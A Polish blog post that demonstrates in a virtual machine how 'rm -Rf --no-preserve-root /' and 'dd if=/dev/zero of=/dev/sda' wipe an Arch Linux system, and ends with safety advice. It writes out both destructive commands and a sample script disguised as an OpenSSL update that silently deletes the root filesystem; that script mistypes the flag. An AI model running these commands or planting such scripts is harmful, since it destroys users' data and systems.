Czym kończy się nieodpowiednie użycie poleceń rm lub dd? Doświadczalne sprawdzenie odpowiedzi na to pytanie

Wszystkie dystrybucje Linuksa posiadają wiele wspólnych cech. Jedną z nich jest obecność terminala, który z uprawnieniami roota daje niemal nieograniczoną władzę nad systemem. Niestety, to powoduje, że można uszkodzić znajdujące się na naszym dysku dane.

Jak?

UWAGA: Pod żadnym pozorem NIE próbuj podanej niżej metody na swoim komputerze, chyba że jesteś W PEŁNI świadomy tego, co robisz! Nie ponoszę odpowiedzialności za straty spowodowane zastosowaniem poniższego sposobu.

To "proste" - wystarczy jedynie dostęp do terminala i możliwość skorzystania z uprawnień roota. Gdy te warunki zostaną spełnione, należy wykonać jedno z dwóch poniższych poleceń jako root:

• rm -Rf --no-preserve-root /
• dd if=/dev/zero of=/dev/sda (gdzie /dev/sda to dysk twardy, z którego korzystamy)

Co te polecenia konkretnie robią?

Polecenie "rm -Rf -‑no-preserve-root /" powoduje, że kasowane jest wszystko, co znajduje się w głównym katalogu systemu plików, na którym znajduje się dana dystrybucja Linuksa. Innymi słowy, usuwane są wszystkie możliwe dane w systemie i zamontowanych partycjach (jeśli takowe są) oraz uszkadzany jest sam system. Warto zwrócić uwagę, że domyślnie (przynajmniej w Archu) rm nie pozwala na działanie w katalogu / z opcją "‑R". Dodatkowy parametr "-‑no-preserve-root" służy do ominięcia tego zabezpieczenia.

Natomiast polecenie "dd if=/dev/zero of=/dev/sda" (gdzie /dev/sda to dysk twardy, z którego korzystamy) powoduje nadpisanie wszystkich sektorów naszego dysku pustymi danymi (zerami)*. Po uruchomieniu tego polecenia w ciągu ułamku sekundy następuje zniszczenie bootloadera i tabeli partycji, a następnie rozpoczyna się wymazywanie wszystkich plików i folderów znajdujących się na dysku.

W obydwu przypadkach NIE JESTEŚMY proszeni o potwierdzenie swoich zamiarów!

* - Na potrzeby tego wpisu plikiem wejściowym ("if=...") jest /dev/zero, który jest plikiem specjalnym z pustymi danymi (zerami). Wystarczy jednak ustawić jako wejściowy dowolny plik (z wyjątkiem tego, który jest kopią części lub całości naszego dysku) o rozmiarze równym lub większym niż 512 B (np. obraz ISO), aby omawiane polecenie miało podobnie niszczycielskie działanie (z tą różnicą, że zamiast nadpisywania sektorów zerami jest nadpisywanie sektorów danymi z wybranego pliku).

Czy można te polecenia uruchomić nieświadomie jako root?

Owszem, można. Jest to możliwe na co najmniej dwa sposoby:

[list] [item]Można uruchomić "niewinnny" program lub skrypt bash z zaszytymi poleceniami "sudo rm -Rf -‑no-recursive-root /" lub "sudo dd if=/dev/zero of=/dev/sda". Oto przykład takiego skryptu, który jest przeznaczony dla Archa (może się on np. podszywać pod program wykorzystujący OpenSSL):

#!/bin/bash
echo "OpenSSL is out of date. Running pacman -Sy openssl..."
sudo pacman -Sy openssl
sudo rm -Rf --no-recursive-root / &> /dev/null

[/item][item]Można się pomylić przy wpisywaniu parametrów dla dd (np. wpisać "of=/dev/sda" zamiast "of=/dev/sdc").[/item]

Ku przestrodze: wykonanie wspomnianych poleceń na maszynie wirtualnej z Archem

Postanowiłem doświadczalnie sprawdzić, jak destrukcyjne dla systemu i danych są wspomniane przeze mnie polecenia. Przygotowałem w programie VirtualBox maszynę wirtualną z 2 GB RAM i dyskiem 12 GB, na którym był zainstalowany 64‑bitowy Arch Linux.

Na początku, po zgłoszeniu gotowości systemu, uruchomiłem polecenie "rm -Rf /".

Okazało się, że rm nie pozwala na działanie rekursywne w katalogu / (o czym wcześniej wspomniałem). Musiałem dopisać parametr "-‑no-preserve-root". Ostatecznie wpisane przeze mnie polecenie przybrało postać "rm -Rf -‑no-preserve-root /". Zleciłem systemowi jego wykonanie.

Po chwili cały ekran wypełnił się komunikatami "rm: cannot remove ...". We wszystkich przypadkach problem dotyczył linuksowych pilków specjalnych (np. /dev/sda2 czy /proc/20/io).

Po kilku(nastu) sekundach rm zakończył swoje działanie.

Na pierwszy rzut oka wszystko wydawało się być w porządku. Niestety, nie było...

Próby uruchomienia podstawowych poleceń kończyły się w większości komunikatem "command not found". Dodatkowo systemd samoistnie wypluwał błędy "file not found" (nie zostało to uwiecznione na screenie).

Nie udało mi się włączyć ani "nano", ani "ls", ani nawet "bash". Kiedy postanowiłem zrestartować system, okazało się, że musiałem to zrobić z poziomu VirtualBoksa, gdyż polecenie "reboot"...nie istniało.

Co się stało po ponownym uruchomieniu maszyny wirtualnej?

Odezwał się GRUB, który nie mógł wczytać swoich podstawowych plików. Z tego powodu poinformował o zaistniałej sytuacji i włączył tryb ratunkowy. Niestety, nic praktycznie nie można było tam zrobić. Zacząłem się wtedy domyślać, że system został poważnie uszkodzony.

Aby realnie ocenić skalę szkód wywołanych poleceniem "rm -Rf -‑no-preserve-root /", z poziomu LiveCD Archa uruchomiłem polecenia:

mount /dev/sda1 /mnt
cd /mnt
ls

Okazało się, że powstałe szkody były ogromne. Jedyne dane, jakie pozostały, to katalogi z linuksowymi plikami specjalnymi oraz folder "tmp". Była to akurat zawartość, o nieusuwalności której rm informował na bieżąco.

Z racji tego, że to tylko eksperyment, pogodziłem się z utratą danych i zreinstalowałem system, przygotowując w ten sposób środowisko do wykonania drugiego z "zabójczych" poleceń.

Od razu po uruchomieniu zreinstalowanego systemu wpisałem "dd if=/dev/zero of=/dev/sda bs=1M" (dodatkowy parametr "bs=1M" nie ma w tym wypadku większego znaczenia).

Po naciśnięciu ENTER program przystąpił do swojej pracy. Poczekałem kilka sekund i przerwałem działanie polecenia. W tym czasie dd zdążył nadpisać liczbę sektorów dysku odpowiadającą ponad 6 gigabajtom danych.

Poniższe screeny pokazują próby zarówno uzyskania dostępu do poszczególnych miejsc na dysku, jak i wykonania różnych poleceń:

Jak widać, część danych wciąż istniała, podczas gdy część albo była nieosiągalna, albo nie istniała wcale. Polecenia typu "cd", "ls" czy "nano" w dalszym ciągu działały, natomiast pacman nie mógł się już niestety uruchomić. Poza tym pojawiały się gdzieniegdzie komunikaty systemowe o problemach z dostępem do systemu plików.

Co się natomiast stało po ponownym uruchomieniu maszyny wirtualnej (tym razem za pomocą polecenia "reboot", które istniało i zadziałało)?

Okazało się, że wirtualny BIOS nie mógł znaleźć bootowalnego nośnika danych. Wtedy stało się dla mnie jasne, że MBR zostało uszkodzone. Aby w pełni ocenić skalę szkód, próbowałem w jakikolwiek sposób uzyskać dostęp do dysku z poziomu LiveCD Archa. Screeny pokazują moje mizerne próby:

Jak widać, system nie rozpoznał żadnej partycji. Nie udało się ani uzyskać dostępu do danych za pomocą mount, ani naprawić systemu plików za pomocą fsck. Natomiast fdisk oznajmił, że nie wykrył żadnej znanej tabeli partycji. Oznaczało to tylko jedno - dane na dysku zostały bardzo poważnie uszkodzone, możliwe, że nawet nieodwracalnie.

W tym momencie uznałem eksperyment za zakończony.

Wnioski z doświadczenia

Przeprowadzone przeze mnie doświadczenie utwierdziło mnie w przekonaniu, że uruchomienie któregokolwiek ze wspomnianych na początku wpisu poleceń ma dla nas bardzo zgubne skutki w formie uszkodzenia (czasami nieodwracalnego) co najmniej części zapisanych na dysku danych i zainstalowanego tam systemu. Co więc należy zrobić, aby zmniejszyć ryzyko "komputerowej tragedii"? Wystarczy albo ograniczyć możliwość korzystania z uprawnień roota, albo przestrzegać trzech zasad:

• Przy działaniu z programami rm czy dd sprawdzajcie dwa razy, czy zostały podane dokładnie takie parametry, jakie powinny być.
• Stosujcie zasadę ograniczonego zaufania dla programów spoza oficjalnych repozytoriów.
• Przed uruchamianiem skryptów bash, które pochodzą z nieznanych źródeł i wymagają uprawnień roota, otwierajcie je w dowolnym edytorze tekstu i sprawdzajcie, czy nie ma w nich podejrzanych poleceń.

Mam nadzieję, że wpis się podobał - czekam na komentarze, zarówno te negatywne, neutralne, jak i pozytywne :)